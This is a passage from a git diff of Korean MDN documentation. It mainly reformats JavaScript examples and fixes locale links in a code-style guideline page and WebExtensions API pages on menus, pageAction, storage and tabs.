@@ -39,8 +39,8 @@ original_slug: MDN/Guidelines/Code_guidelines/General
 
 ```js example-good
 function myFunc() {
-  if(thingy) {
-    console.log('Yup, that worked.');
+  if (thingy) {
+    console.log("Yup, that worked.");
   }
 }
 ```
@@ -52,16 +52,18 @@ function myFunc() {
 예를 들면, 아래는 안 좋은 예입니다.
 
 ```js example-bad
-let tommyCat = 'Said Tommy the Cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat. Many a fat alley rat had met its demise while staring point blank down the cavernous barrel of this awesome prowling machine.';
+let tommyCat =
+  "Said Tommy the Cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat. Many a fat alley rat had met its demise while staring point blank down the cavernous barrel of this awesome prowling machine.";
 ```
 
 이것은 좀 낫지만, 그래도 여전히 좋지 않습니다:
 
 ```js
-let tommyCat = 'Said Tommy the Cat as he reeled back to clear whatever foreign '
-+ 'matter may have nestled its way into his mighty throat. Many a fat alley rat '
-+ 'had met its demise while staring point blank down the cavernous barrel of '
-+ 'this awesome prowling machine.';
+let tommyCat =
+  "Said Tommy the Cat as he reeled back to clear whatever foreign " +
+  "matter may have nestled its way into his mighty throat. Many a fat alley rat " +
+  "had met its demise while staring point blank down the cavernous barrel of " +
+  "this awesome prowling machine.";
 ```
 
 템플릿 리터럴을 사용하는 것이 더 좋습니다:
@@ -138,24 +140,23 @@ color: #fff;
 이 처럼 하려면, MDN 에디터 콘트롤로 코드 블럭을 `<pre>` 블럭이 되도록 하고, 적절한 문법 강조를 설정해야 합니다. 소스 코드는 아래와 비슷하게 보일겁니다:
 
 ```html
-    <pre class="brush: js">
+<pre class="brush: js">
     function myFunc() {
       console.log('Hello!');
-    };</pre>
+    };</pre
+>
 ```
 
 이 상태에서 좋은 예시로 만들려면, `class` 속성의 오른쪽 따옴표 바로 앞에 `example-good`을 넣으면 됩니다:
 
 ```html
-    <pre class="brush: js example-good">
-      ...
+<pre class="brush: js example-good">      ...</pre>
 ```
 
 나쁜 예시로 만들려면, `class` 속성의 오른쪽 따옴표 바로 앞에 `example-bad`를 넣으면 됩니다:
 
 ```html
-    <pre class="brush: js example-bad">
-      ...
+<pre class="brush: js example-bad">      ...</pre>
 ```
 
 우리는 당신이 이 기능을 사용하길 권장합니다. 모든 곳에 사용할 필요는 없습니다. 당신의 코드에서 좋은 예와 나쁜 예를 구분할 필요가 있을때 사용하세요.
diff --git a/files/ko/mozilla/add-ons/index.md b/files/ko/mozilla/add-ons/index.md
index b4f44856eb4b41..aa7431381c9d6b 100644
--- a/files/ko/mozilla/add-ons/index.md
+++ b/files/ko/mozilla/add-ons/index.md
@@ -2,6 +2,7 @@
 title: 부가 기능들
 slug: Mozilla/Add-ons
 ---
+
 {{AddonSidebar}}
 
 애드온들은 개발자들에게 Firefox의 기능을 변형하거나 확장하게 해 줍니다. 그것들은 표준 웹 기술인 JavaScript, HTML, CSS 또는 몇가지 전용 JavaScript API들을 사용하여 만들어집니다. 이러한 것들 사이에서, 애드온은 다음과 같은 일들을 할 수 있습니다 :
@@ -22,7 +23,7 @@ Firefox 애드온을 개발하는데 있어서는 현재 몇가지 툴셋들이
 
 - [웹확장기능(WebExtensions)](/en-US/Add-ons/WebExtensions)
   - 웹확장기능(WebExtensions)은 Firefox 애드온의 미래 입니다. 이것은 크로스브라우져(cross-browser)간에 사용될 수 있도록 디자인 되었습니다.
-  FireFox에서 이용할 수 있도록 만들어진 웹확장기능(WebExtensions)은 대부분 약간의 수정을 거치면 Chrome, Edge, 그리고 Opera에서 동작합니다. 이것은 또한 멀티프로세스 Firefox에서도 완전하게 작동합니다. [현재 API가 지원하는 Firefox 와 다른 브라우져를 확인하세요.](/en-US/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs) 우리는 개발자가 원하는 API들을 지속적으로 디자인하고 구현할 것입니다.대부분의 웹확장기능(WebExtensions) API는 안드로이드용 Firefox에서도 사용 가능합니다. [더알아보기](/en-US/Add-ons/WebExtensions)
+    Firefox에서 이용할 수 있도록 만들어진 웹확장기능(WebExtensions)은 대부분 약간의 수정을 거치면 Chrome, Edge, 그리고 Opera에서 동작합니다. 이것은 또한 멀티프로세스 Firefox에서도 완전하게 작동합니다. [현재 API가 지원하는 Firefox 와 다른 브라우져를 확인하세요.](/en-US/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs) 우리는 개발자가 원하는 API들을 지속적으로 디자인하고 구현할 것입니다.대부분의 웹확장기능(WebExtensions) API는 안드로이드용 Firefox에서도 사용 가능합니다. [더알아보기](/en-US/Add-ons/WebExtensions)
 - [애드온 SDK](/en-US/Add-ons/SDK)
   - 애드온 SDK는 Firefox 애드온 개발을 위한 API를 제공하며, 이것은 개발, 테스트, 패키징을 위한 도구입니다. 당신은 [안드로이드용 Firefox를 위한 애드온 SDK 확장기능](/en-US/Add-ons/SDK/Tutorials/Mobile_development)도 사용할 수 있습니다. 우리는 당신이 [high-level API](/en-US/Add-ons/SDK/High-Level_APIs)들만을 사용할 것을 권장합니다. 이것은 당신이 웹확장기능(WebExtensions)으로 마이그레이션 하는 여행 길을 더 쉽게 해 줄 것입니다. [더알아보기](/en-US/Add-ons/SDK)
 
diff --git a/files/ko/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.md b/files/ko/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.md
index 1c0597ec78c7e1..9115d74130c37c 100644
--- a/files/ko/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.md
@@ -2,6 +2,7 @@
 title: Anatomy of an extension
 slug: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
 ---
+
 {{AddonSidebar}}
 
 확장앱은 배포 및 설치를 위해 패키징 된 파일 모음으로 구성됩니다. 이 아티클은 확장앱에 있을 수 있는 파일들을 빠르게 살펴봅니다.
diff --git a/files/ko/mozilla/add-ons/webextensions/api/index.md b/files/ko/mozilla/add-ons/webextensions/api/index.md
index 50e97c292f5933..6593c6517b2443 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/index.md
@@ -16,7 +16,7 @@ function logTabs(tabs) {
   console.log(tabs);
 }
 
-browser.tabs.query({currentWindow: true}, logTabs);
+browser.tabs.query({ currentWindow: true }, logTabs);
 ```
 
 Many of the APIs are asynchronous, returning a [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise):
@@ -30,9 +30,7 @@ function logError(e) {
   console.error(e);
 }
 
-var setCookie = browser.cookies.set(
-  {url: "https://developer.mozilla.org/"}
-);
+var setCookie = browser.cookies.set({ url: "https://developer.mozilla.org/" });
 setCookie.then(logCookie, logError);
 ```
 
diff --git a/files/ko/mozilla/add-ons/webextensions/api/menus/create/index.md b/files/ko/mozilla/add-ons/webextensions/api/menus/create/index.md
index 5f94578bcb48a0..e95f5a69e9d8b0 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/menus/create/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/menus/create/index.md
@@ -24,7 +24,9 @@ browser.menus.create(
 ### 매개변수
 
 - `createProperties`
+
   - : `object`. 새 메뉴 항목의 속성들
+
     - `checked` {{optional_inline}}
       - : `boolean`. checkbox나 radio 항목의 초기값: 선택은 `true`, 선택이 아니면 `false`. radio 항목이라면 그룹 중에서 하나만 선택된 것으로 할 수 있다.
     - `command` {{optional_inline}}</dt>
@@ -112,10 +114,10 @@ browser.menus.create(
 browser.menus.create({
   id: "log-selection",
   title: "Log '%s' to the console",
-  contexts: ["selection"]
+  contexts: ["selection"],
 });
 
-browser.menus.onClicked.addListener(function(info, tab) {
+browser.menus.onClicked.addListener(function (info, tab) {
   if (info.menuItemId == "log-selection") {
     console.log(info.selectionText);
   }
@@ -133,33 +135,39 @@ function onCreated() {
   }
 }
 
-browser.menus.create({
-  id: "radio-green",
-  type: "radio",
-  title: "Make it green",
-  contexts: ["all"],
-  checked: false
-}, onCreated);
+browser.menus.create(
+  {
+    id: "radio-green",
+    type: "radio",
+    title: "Make it green",
+    contexts: ["all"],
+    checked: false,
+  },
+  onCreated,
+);
 
-browser.menus.create({
-  id: "radio-blue",
-  type: "radio",
-  title: "Make it blue",
-  contexts: ["all"],
-  checked: false
-}, onCreated);
+browser.menus.create(
+  {
+    id: "radio-blue",
+    type: "radio",
+    title: "Make it blue",
+    contexts: ["all"],
+    checked: false,
+  },
+  onCreated,
+);
 
 var makeItBlue = 'document.body.style.border = "5px solid blue"';
 var makeItGreen = 'document.body.style.border = "5px solid green"';
 
-browser.menus.onClicked.addListener(function(info, tab) {
+browser.menus.onClicked.addListener(function (info, tab) {
   if (info.menuItemId == "radio-blue") {
     browser.tabs.executeScript(tab.id, {
-      code: makeItBlue
+      code: makeItBlue,
     });
   } else if (info.menuItemId == "radio-green") {
     browser.tabs.executeScript(tab.id, {
-      code: makeItGreen
+      code: makeItGreen,
     });
   }
 });
diff --git a/files/ko/mozilla/add-ons/webextensions/api/menus/gettargetelement/index.md b/files/ko/mozilla/add-ons/webextensions/api/menus/gettargetelement/index.md
index ace794ec395fd3..81f28d7797d504 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/menus/gettargetelement/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/menus/gettargetelement/index.md
@@ -33,7 +33,16 @@ let elem = browser.menus.getTargetElement(targetElementId);
 browser.menus.create({
   title: "Remove element",
   documentUrlPatterns: ["*://*/*"],
-  contexts: ["audio", "editable", "frame", "image", "link", "page", "password", "video"],
+  contexts: [
+    "audio",
+    "editable",
+    "frame",
+    "image",
+    "link",
+    "page",
+    "password",
+    "video",
+  ],
   onclick(info, tab) {
     browser.tabs.executeScript(tab.id, {
       frameId: info.frameId,
diff --git a/files/ko/mozilla/add-ons/webextensions/api/menus/index.md b/files/ko/mozilla/add-ons/webextensions/api/menus/index.md
index a81f52c12ba543..99b5e87d25c19b 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/menus/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/menus/index.md
@@ -50,57 +50,75 @@ original_slug: Mozilla/Add-ons/WebExtensions/API/contextMenus
 ![](menus-4.png)이 서버메뉴는 아래 코드로 만들 수 있다:
 
 ```js
-browser.menus.create({
-  id: "remove-me",
-  title: browser.i18n.getMessage("menuItemRemoveMe"),
-  contexts: ["all"]
-}, onCreated);
-
-browser.menus.create({
-  id: "separator-1",
-  type: "separator",
-  contexts: ["all"]
-}, onCreated);
-
-browser.menus.create({
-  id: "greenify",
-  type: "radio",
-  title: browser.i18n.getMessage("menuItemGreenify"),
-  contexts: ["all"],
-  checked: true,
-  icons: {
-    "16": "icons/paint-green-16.png",
-    "32": "icons/paint-green-32.png"
-  }
-}, onCreated);
-
-browser.menus.create({
-  id: "bluify",
-  type: "radio",
-  title: browser.i18n.getMessage("menuItemBluify"),
-  contexts: ["all"],
-  checked: false,
-  icons: {
-    "16": "icons/paint-blue-16.png",
-    "32": "icons/paint-blue-32.png"
-  }
-}, onCreated);
-
-browser.menus.create({
-  id: "separator-2",
-  type: "separator",
-  contexts: ["all"]
-}, onCreated);
+browser.menus.create(
+  {
+    id: "remove-me",
+    title: browser.i18n.getMessage("menuItemRemoveMe"),
+    contexts: ["all"],
+  },
+  onCreated,
+);
+
+browser.menus.create(
+  {
+    id: "separator-1",
+    type: "separator",
+    contexts: ["all"],
+  },
+  onCreated,
+);
+
+browser.menus.create(
+  {
+    id: "greenify",
+    type: "radio",
+    title: browser.i18n.getMessage("menuItemGreenify"),
+    contexts: ["all"],
+    checked: true,
+    icons: {
+      16: "icons/paint-green-16.png",
+      32: "icons/paint-green-32.png",
+    },
+  },
+  onCreated,
+);
+
+browser.menus.create(
+  {
+    id: "bluify",
+    type: "radio",
+    title: browser.i18n.getMessage("menuItemBluify"),
+    contexts: ["all"],
+    checked: false,
+    icons: {
+      16: "icons/paint-blue-16.png",
+      32: "icons/paint-blue-32.png",
+    },
+  },
+  onCreated,
+);
+
+browser.menus.create(
+  {
+    id: "separator-2",
+    type: "separator",
+    contexts: ["all"],
+  },
+  onCreated,
+);
 
 var checkedState = true;
 
-browser.menus.create({
-  id: "check-uncheck",
-  type: "checkbox",
-  title: browser.i18n.getMessage("menuItemUncheckMe"),
-  contexts: ["all"],
-  checked: checkedState
-}, onCreated);
+browser.menus.create(
+  {
+    id: "check-uncheck",
+    type: "checkbox",
+    title: browser.i18n.getMessage("menuItemUncheckMe"),
+    contexts: ["all"],
+    checked: checkedState,
+  },
+  onCreated,
+);
 ```
 
 ## 타입
diff --git a/files/ko/mozilla/add-ons/webextensions/api/menus/onshown/index.md b/files/ko/mozilla/add-ons/webextensions/api/menus/onshown/index.md
index 625896d41144f0..334112ff73b056 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/menus/onshown/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/menus/onshown/index.md
@@ -105,12 +105,12 @@ This example listens for the context menu to be shown over a link, then updates
 ```js
 function updateMenuItem(linkHostname) {
   browser.menus.update(openLabelledId, {
-    title: `Open (${linkHostname})`
+    title: `Open (${linkHostname})`,
   });
   browser.menus.refresh();
 }
 
-browser.menus.onShown.addListener(info => {
+browser.menus.onShown.addListener((info) => {
   if (!info.linkUrl) {
     return;
   }
diff --git a/files/ko/mozilla/add-ons/webextensions/api/pageaction/index.md b/files/ko/mozilla/add-ons/webextensions/api/pageaction/index.md
index 3df46d33a790d5..52cde7b8a7ad06 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/pageaction/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/pageaction/index.md
@@ -54,9 +54,9 @@ slug: Mozilla/Add-ons/WebExtensions/API/pageAction
 
 {{WebExtExamples("h2")}}
 
-> **참고:** **Acknowledgements**This API is based on Chromium's [`chrome.pageAction`](https://developer.chrome.com/extensions/pageAction) API. This documentation is derived from [`page_action.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/page_action.json) in the Chromium code.Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.
+> **참고:** **Acknowledgements** This API is based on Chromium's [`chrome.pageAction`](https://developer.chrome.com/extensions/pageAction) API. This documentation is derived from [`page_action.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/page_action.json) in the Chromium code.Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.
 
-```
+<!--
 // Copyright 2015 The Chromium Authors. All rights reserved.
 //
 // Redistribution and use in source and binary forms, with or without
@@ -84,3 +84,4 @@ slug: Mozilla/Add-ons/WebExtensions/API/pageAction
 // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+-->
diff --git a/files/ko/mozilla/add-ons/webextensions/api/pageaction/show/index.md b/files/ko/mozilla/add-ons/webextensions/api/pageaction/show/index.md
index 2d63f632321429..3957381c4a45cd 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/pageaction/show/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/pageaction/show/index.md
@@ -15,8 +15,8 @@ slug: Mozilla/Add-ons/WebExtensions/API/pageAction/show
 
 ```js
 browser.pageAction.show(
-  tabId // integer
-)
+  tabId, // integer
+);
 ```
 
 ### 매개변수
@@ -43,10 +43,10 @@ A [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise) that wil
 ```js
 browser.contextMenus.create({
   id: "show",
-  title: "Show page action"
+  title: "Show page action",
 });
 
-browser.contextMenus.onClicked.addListener(function(info, tab) {
+browser.contextMenus.onClicked.addListener(function (info, tab) {
   if (info.menuItemId == "show") {
     browser.pageAction.show(tab.id);
   }
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/index.md b/files/ko/mozilla/add-ons/webextensions/api/storage/index.md
index 2166a96b4ecf52..fe9e514f0b88e5 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/storage/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/storage/index.md
@@ -2,6 +2,7 @@
 title: storage
 slug: Mozilla/Add-ons/WebExtensions/API/storage
 ---
+
 {{AddonSidebar}}
 
 웹확장이 데이터를 저장하고, 확인하고, 저장된 항목의 변화를 감시할 수 있도록 해 준다.
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/local/index.md b/files/ko/mozilla/add-ons/webextensions/api/storage/local/index.md
index 7cd48d724ed130..3d060d8c241885 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/storage/local/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/storage/local/index.md
@@ -2,6 +2,7 @@
 title: storage.local
 slug: Mozilla/Add-ons/WebExtensions/API/storage/local
 ---
+
 {{AddonSidebar()}}
 
 `local` 저장소 영역을 표현한다. `local` 저장소의 항목은 확장이 설치된 기기에 제한된다.
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.md b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.md
index 27ae76e9e026da..39797b6b8acc3d 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.md
@@ -42,8 +42,8 @@ slug: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/get
 // storage contains two items,
 // "kitten" and "monster"
 browser.storage.local.set({
-  kitten:  {name:"Mog", eats:"mice"},
-  monster: {name:"Kraken", eats:"people"}
+  kitten: { name: "Mog", eats: "mice" },
+  monster: { name: "Kraken", eats: "people" },
 });
 ```
 
@@ -90,7 +90,11 @@ gettingItem.then(onGot, onError);
 이름들을 인수로 하면 전체 일치 항목을 모두 담은 객체를 반환한다:
 
 ```js
-let gettingItem = browser.storage.local.get(["kitten", "monster", "grapefruit"]);
+let gettingItem = browser.storage.local.get([
+  "kitten",
+  "monster",
+  "grapefruit",
+]);
 gettingItem.then(onGot, onError);
 
 // -> Object { kitten: Object, monster: Object }
@@ -104,8 +108,8 @@ let gettingItem = browser.storage.local.get({
   monster: "no monster",
   grapefruit: {
     name: "Grape Fruit",
-    eats: "Water"
-  }
+    eats: "Water",
+  },
 });
 
 // -> Object { kitten: Object, monster: Object, grapefruit: Object }
@@ -118,15 +122,15 @@ let gettingItem = browser.storage.local.get({
 크롬에서는 [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise)가 아니라 콜백 형태로 해야 한다.
 
 ```js
-chrome.storage.local.get("kitten", function(items){
-  console.log(items.kitten);  // -> {name:"Mog", eats:"mice"}
+chrome.storage.local.get("kitten", function (items) {
+  console.log(items.kitten); // -> {name:"Mog", eats:"mice"}
 });
 ```
 
 또는 화살표 함수로 할 수 있다.
 
 ```js
-chrome.storage.local.get("kitten", items=>{
+chrome.storage.local.get("kitten", (items) => {
   console.log(items.kitten); // -> {name:"Mog", eats:"mice"}
 });
 ```
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.md b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.md
index e92283fb3fdc19..5cd49e36a97cd5 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.md
@@ -2,13 +2,14 @@
 title: StorageArea.set()
 slug: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set
 ---
+
 {{AddonSidebar()}}
 
 저장소 영역에 하나 이상의 항목을 저장하거나, 있는 항목을 고친다.
 
 이 API로 값을 저장하거나 고치면, {{WebExtAPIRef("storage.onChanged")}} 이벤트가 발생한다.
 
-비동기 함수로 [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)를 돌려준다.
+비동기 함수로 [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise)를 돌려준다.
 
 ## 문법
 
@@ -23,11 +24,11 @@ let settingItem = browser.storage.&#x3C;storageType>.set(
 ### 매개변수
 
 - `keys`
-  - : 저장소에 저장할 하나 이상의 키/값 쌍을 가진 객체다. 이미 있는 항목이라면 그 값은 고쳐진다.값은 [기초 자료형](/ko/docs/Glossary/Primitive) (숫자, 논리값, 그리고 문자열 같은) 또는 [`배열`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)이다.`Function`, `Date`, `RegExp`, `Set`, `Map`, `ArrayBuffer` 기타등등 다른 자료형의 저장은 일반적으로 안된다. 지원되지 않는 이런 자료형들은 빈 객체로 저장되거나 에러를 발생시킨다. 정확한 것은 브라우저에 달렸다.
+  - : 저장소에 저장할 하나 이상의 키/값 쌍을 가진 객체다. 이미 있는 항목이라면 그 값은 고쳐진다.값은 [기초 자료형](/ko/docs/Glossary/Primitive) (숫자, 논리값, 그리고 문자열 같은) 또는 [`배열`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Array)이다.`Function`, `Date`, `RegExp`, `Set`, `Map`, `ArrayBuffer` 기타등등 다른 자료형의 저장은 일반적으로 안된다. 지원되지 않는 이런 자료형들은 빈 객체로 저장되거나 에러를 발생시킨다. 정확한 것은 브라우저에 달렸다.
 
 ### 반환값
 
-반환된 [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)는 동작이 성공하면 아무런 인수없이 완료를 수행하고, 실패하면 에러 문장과 함께 거부를 수행한다.
+반환된 [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise)는 동작이 성공하면 아무런 인수없이 완료를 수행하고, 실패하면 에러 문장과 함께 거부를 수행한다.
 
 ## 브라우저 호환성
 
@@ -49,30 +50,27 @@ function gotMonster(item) {
 }
 
 function onError(error) {
-  console.log(error)
+  console.log(error);
 }
 
 // define 2 objects
 var monster = {
   name: "Kraken",
   tentacles: true,
-  eyeCount: 10
-}
+  eyeCount: 10,
+};
 
 var kitten = {
   name: "Moggy",
   tentacles: false,
-  eyeCount: 2
-}
+  eyeCount: 2,
+};
 
 // store the objects
-browser.storage.local.set({kitten, monster})
-  .then(setItem, onError);
+browser.storage.local.set({ kitten, monster }).then(setItem, onError);
 
-browser.storage.local.get("kitten")
-  .then(gotKitten, onError);
-browser.storage.local.get("monster")
-  .then(gotMonster, onError);
+browser.storage.local.get("kitten").then(gotKitten, onError);
+browser.storage.local.get("monster").then(gotMonster, onError);
 ```
 
 {{WebExtExamples}}
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/sync/index.md b/files/ko/mozilla/add-ons/webextensions/api/storage/sync/index.md
index 4dbe210767ec46..692a0627c343f9 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/storage/sync/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/storage/sync/index.md
@@ -2,11 +2,12 @@
 title: storage.sync
 slug: Mozilla/Add-ons/WebExtensions/API/storage/sync
 ---
+
 {{AddonSidebar()}}
 
 `sync` 저장 공간을 의미합니다. `sync` 저장 공간에 있는 데이터는 브라우저 사이에서 동기화되며 서로 다른 기기 간에 사용자가 브라우저에 로그인 한 경우 언제든지 접근 가능합니다.
 
-Firefox에서 `sync.storage` 는 고유한 부가기능 ID에 의존성을 갖고 동작합니다. `sync.storage`, 를 사용하신다면 [`어플리케이션`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications) manifest.json 파일에 있는 키를 통해 여러분의 부가기능에 고유한 ID를 부여해야 합니다.
+Firefox에서 `sync.storage` 는 고유한 부가기능 ID에 의존성을 갖고 동작합니다. `sync.storage`, 를 사용하신다면 [`어플리케이션`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications) manifest.json 파일에 있는 키를 통해 여러분의 부가기능에 고유한 ID를 부여해야 합니다.
 
 이 API는 주로 여러분의 부가기능에 사용자 설정 정보를 저장하고 서로 다른 프로필 간에 설정을 동기화 할 수 있도록 사용됩니다. 이 API는 100KB까지 저장할 수 있습니다. 이보다 더 큰 데이터를 저장하려고 하는 경우, API 요청은 특정한 에러 메시지를 반환할 것입니다. 이 API는 아쉽게도 현재까지 특정한 성능을 보장하진 않습니다.
 
diff --git a/files/ko/mozilla/add-ons/webextensions/api/tabs/create/index.md b/files/ko/mozilla/add-ons/webextensions/api/tabs/create/index.md
index a1eba2bd065d05..a902b7d9a4dc26 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/tabs/create/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/tabs/create/index.md
@@ -7,24 +7,26 @@ slug: Mozilla/Add-ons/WebExtensions/API/tabs/create
 
 새 탭을 만든다.
 
-이것은 비동기 함수로 [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)를 돌려준다.
+이것은 비동기 함수로 [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise)를 돌려준다.
 
 ## 문법
 
 ```js
 var creating = browser.tabs.create(
-  createProperties   // object
-)
+  createProperties, // object
+);
 ```
 
 ### 매개변수
 
 - `createProperties`
+
   - : `object`. 새 탭에 대한 속성들. 속성들에 대해 더 배우려면 {{WebExtAPIRef("tabs.Tab")}} 문서를 보라.
+
     - `active`{{optional_inline}}
       - : `boolean`. 활성탭이 되는지를 정한다. 윈도우의 포커스에는 영향이 없다({{WebExtAPIRef('windows.update')}} 참조). 기본값은 `true`.
     - `cookieStoreId` {{optional_inline}}
-      - : `string`. 탭의 쿠키 저장 ID를 `cookieStoreId`로 지정한다. 이 옵션은 확장이 `"cookies"` [권한](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions)을 가져야 쓸 수 있다.
+      - : `string`. 탭의 쿠키 저장 ID를 `cookieStoreId`로 지정한다. 이 옵션은 확장이 `"cookies"` [권한](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions)을 가져야 쓸 수 있다.
     - `index`{{optional_inline}}
       - : `integer`. 윈도우에서 탭의 위치를 지정한다. 쓸 수 있는 값은 0에서 윈도에 있는 탭의 수까지다.
     - `openerTabId`{{optional_inline}}
@@ -34,10 +36,13 @@ var creating = browser.tabs.create(
     - `pinned`{{optional_inline}}
       - : `boolean`. Whether the tab should be pinned. Defaults to `false`.
     - `selected`{{optional_inline}}
+
       - : `boolean`. 윈도우에서 탭이 선택되는지를 지정한다. 기본값은 `true`.
 
         > **경고:** 이 속성은 사용이 중단되었다. 파이어폭스에서는 지원하지 않는다. `active`가 대신한다.
+
     - `url` {{optional_inline}}
+
       - : `string`. 최초 표시될 URL. 기본값은 새 탭 페이지다.
         URL은 반드시 scheme를 포함해야 한다 (가령은 'http://www.google.com'은 되지만, 'www.google.com'은 안된다).
         보안상 파이어폭스에서 특권이 있는 URL은 안된다. 그래서 아래와 같은 URL을 주면 실패할 것이다:
@@ -50,12 +55,13 @@ var creating = browser.tabs.create(
         - 새 탭 페이지 ( `about:newtab`)는 URL 값이 주어지지 않으면 열린다.
 
         확장에 포함된 페이지의 로딩은 확장의 manifest.json 파일이 있는데서 시작하는 절대 경로를 써라. 예를 들면: '/path/to/my-page.html'. 만약 첫 '/'를 빼면 URL은 상대 경로로 취급되고, 다른 브라우저들은 다른 절대 경로를 생성해낼 것이다.
+
     - `windowId`{{optional_inline}}
       - : `integer`. 새 탭이 만들어질 윈도우. 기본값은 현재 윈도우.
 
 ### Return value
 
-A [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) that will be fulfilled with a {{WebExtAPIRef('tabs.Tab')}} object containing details about the created tab. If the tab could not be created (for example, because `url` used a privileged scheme) the promise will be rejected with an error message.
+A [`Promise`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise) that will be fulfilled with a {{WebExtAPIRef('tabs.Tab')}} object containing details about the created tab. If the tab could not be created (for example, because `url` used a privileged scheme) the promise will be rejected with an error message.
 
 ## 브라우저 호환성
 
@@ -67,16 +73,16 @@ Open "https\://example.org" in a new tab:
 
 ```js
 function onCreated(tab) {
-  console.log(`Created new tab: ${tab.id}`)
+  console.log(`Created new tab: ${tab.id}`);
 }
 
 function onError(error) {
   console.log(`Error: ${error}`);
 }
 
-browser.browserAction.onClicked.addListener(function() {
+browser.browserAction.onClicked.addListener(function () {
   var creating = browser.tabs.create({
-    url:"https://example.org"
+    url: "https://example.org",
   });
   creating.then(onCreated, onError);
 });
diff --git a/files/ko/mozilla/add-ons/webextensions/api/tabs/index.md b/files/ko/mozilla/add-ons/webextensions/api/tabs/index.md
index a5b74950766420..39dbfd2948e802 100644
--- a/files/ko/mozilla/add-ons/webextensions/api/tabs/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/api/tabs/index.md
@@ -34,7 +34,7 @@ You can use most of this API without any special permission. However:
 - {{WebExtAPIRef("tabs.MutedInfo")}}
   - : This object contains a boolean indicating whether the tab is muted, and the reason for the last state change.
 - {{WebExtAPIRef("tabs.PageSettings")}}
-  - : Used to control how a tab is rendered as a PDF by the [`tabs.saveAsPDF()`](/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/saveAsPDF) method.
+  - : Used to control how a tab is rendered as a PDF by the [`tabs.saveAsPDF()`](/ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs/saveAsPDF) method.
 - {{WebExtAPIRef("tabs.Tab")}}
   - : This type contains information about a tab.
 - {{WebExtAPIRef("tabs.TabStatus")}}
@@ -60,7 +60,7 @@ You can use most of this API without any special permission. However:
 - {{WebExtAPIRef("tabs.captureVisibleTab()")}}
   - : Creates a data URL encoding an image of the visible area of the currently active tab in the specified window.
 - {{WebExtAPIRef("tabs.connect()")}}
